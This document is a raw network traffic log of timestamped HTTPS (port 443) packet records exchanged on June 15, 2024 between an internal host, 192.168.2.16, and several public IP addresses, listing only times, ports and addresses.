Jun 15, 2024 11:14:54.831969023 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.831991911 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.832000017 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.832012892 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.832037926 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.832063913 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.832073927 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.832120895 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.832143068 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.834857941 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.835138083 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.835197926 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.835215092 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.835273981 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.835330963 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.835572958 CEST	49736	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.835586071 CEST	443	49736	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.839131117 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.839159966 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.839194059 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.839198112 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.839257956 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.839473009 CEST	49734	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.839478016 CEST	443	49734	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.842807055 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.842868090 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.842890024 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.842911005 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.842917919 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.842938900 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.842962980 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.842982054 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.843000889 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.843030930 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.843039036 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.843061924 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.843100071 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.843143940 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.843183994 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.843199015 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.843228102 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.843246937 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.844227076 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.844270945 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.844305038 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.844320059 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.844350100 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.844371080 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.847951889 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:54.847958088 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:14:54.895905018 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.895905018 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:14:54.908193111 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.908457994 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.908472061 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.910449982 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.910526991 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.911576033 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.911659956 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.911715031 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.911720037 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:54.913129091 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.913360119 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.913374901 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.914269924 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.914338112 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.914722919 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.914777994 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.914865017 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.914874077 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:54.944694996 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.944713116 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.944809914 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.944833994 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.944930077 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.944943905 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.944964886 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.944973946 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.944998026 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.945014000 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.945019007 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.945030928 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.945053101 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.945086002 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.945086002 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.945122957 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946024895 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946074963 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946105957 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946119070 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946147919 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946172953 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946230888 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946273088 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946295023 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946302891 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.946336031 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.946356058 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.951498032 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.951514006 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.951560020 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.951570988 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.951631069 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.958995104 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.959041119 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.959074020 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.959084034 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.959132910 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.959156036 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.959928989 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:54.959933043 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:54.960083008 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.960125923 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.960164070 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.960171938 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.960210085 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.960232019 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.961283922 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.961328030 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.961364985 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.961373091 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.961407900 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.961426020 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.962223053 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.962263107 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.962296009 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.962302923 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.962352037 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.962373972 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.963089943 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.963133097 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.963161945 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.963169098 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:54.963208914 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.963232040 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:54.972151041 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972184896 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972220898 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972224951 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972289085 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972623110 CEST	49728	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972654104 CEST	443	49728	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972805977 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972827911 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972846031 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972856045 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972887039 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972907066 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972910881 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972927094 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972934961 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972953081 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:54.972955942 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.972992897 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:54.999980927 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:55.000003099 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:55.000039101 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:55.000051975 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:55.000114918 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:55.000123978 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:55.000163078 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:55.000541925 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:55.000641108 CEST	443	49727	178.154.131.217	192.168.2.16
Jun 15, 2024 11:14:55.000693083 CEST	49727	443	192.168.2.16	178.154.131.217
Jun 15, 2024 11:14:55.062181950 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062237024 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062304974 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062328100 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062346935 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062361002 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062390089 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062396049 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062448978 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062525034 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062582016 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062612057 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062658072 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062686920 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062700987 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.062736034 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062767029 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062866926 CEST	49738	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.062884092 CEST	443	49738	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063002110 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063043118 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063080072 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.063087940 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063123941 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.063147068 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.063827038 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063896894 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063925028 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.063930988 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.063970089 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.063992977 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.075611115 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.075659990 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.075731039 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.075767040 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.075792074 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.075844049 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076045990 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076086998 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076119900 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076128960 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076163054 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076180935 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076390982 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076431990 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076473951 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076482058 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076517105 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076539993 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.076811075 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.076913118 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.077500105 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.077578068 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.077656031 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.077671051 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.077730894 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.077739000 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.077763081 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.077785015 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.077821970 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.092849970 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.093950033 CEST	49729	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.093970060 CEST	443	49729	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.100115061 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.100337982 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.100351095 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.102034092 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.102133989 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.104851961 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.104938984 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.105344057 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.105353117 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.149456978 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:55.149605989 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:55.149662971 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:55.149678946 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:55.149765015 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:55.149811029 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:55.151077032 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.154165983 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.154262066 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:55.154364109 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.162091017 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:55.162657022 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:55.162736893 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:55.163095951 CEST	49752	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.163146973 CEST	49742	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:14:55.163146973 CEST	443	49752	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:55.163166046 CEST	443	49742	23.212.88.20	192.168.2.16
Jun 15, 2024 11:14:55.191137075 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.191225052 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:55.191463947 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.192770958 CEST	49753	443	192.168.2.16	193.17.93.93
Jun 15, 2024 11:14:55.192811012 CEST	443	49753	193.17.93.93	192.168.2.16
Jun 15, 2024 11:14:55.197010040 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:55.197032928 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:55.197118998 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:55.197371960 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:55.197401047 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:55.197706938 CEST	49741	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:14:55.197732925 CEST	443	49741	51.89.9.252	192.168.2.16
Jun 15, 2024 11:14:55.231976986 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.232022047 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.232105017 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.232990980 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.233006954 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.300524950 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.300796032 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.300864935 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.302551985 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.302644014 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.303783894 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.303879976 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.303952932 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.303966999 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.345957041 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.346065998 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.346127987 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.346707106 CEST	49743	443	192.168.2.16	178.250.1.11
Jun 15, 2024 11:14:55.346724033 CEST	443	49743	178.250.1.11	192.168.2.16
Jun 15, 2024 11:14:55.357040882 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.363579035 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.363630056 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.363725901 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.363895893 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.363909006 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.415976048 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:55.416063070 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:55.416166067 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:55.416440010 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:55.416476965 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:55.417859077 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:55.417890072 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:55.417960882 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:55.419243097 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:55.419260979 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:55.493299007 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.493706942 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.493727922 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.494169950 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.494461060 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.494534016 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.494620085 CEST	49751	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:55.536514997 CEST	443	49751	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:55.540841103 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.540910959 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.541022062 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.541062117 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.543056011 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.545146942 CEST	49744	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.545177937 CEST	443	49744	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.563596964 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.563642979 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.563723087 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.563920975 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:55.563934088 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:55.664129019 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.667711973 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.667735100 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.669349909 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.669450998 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.670428038 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.670528889 CEST	443	49745	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:55.670593023 CEST	49745	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:55.674410105 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:55.674814939 CEST	49746	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:55.674839020 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:55.675744057 CEST	443	49746	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:55.675851107 CEST	49746	443	192.168.2.16	91.228.74.159
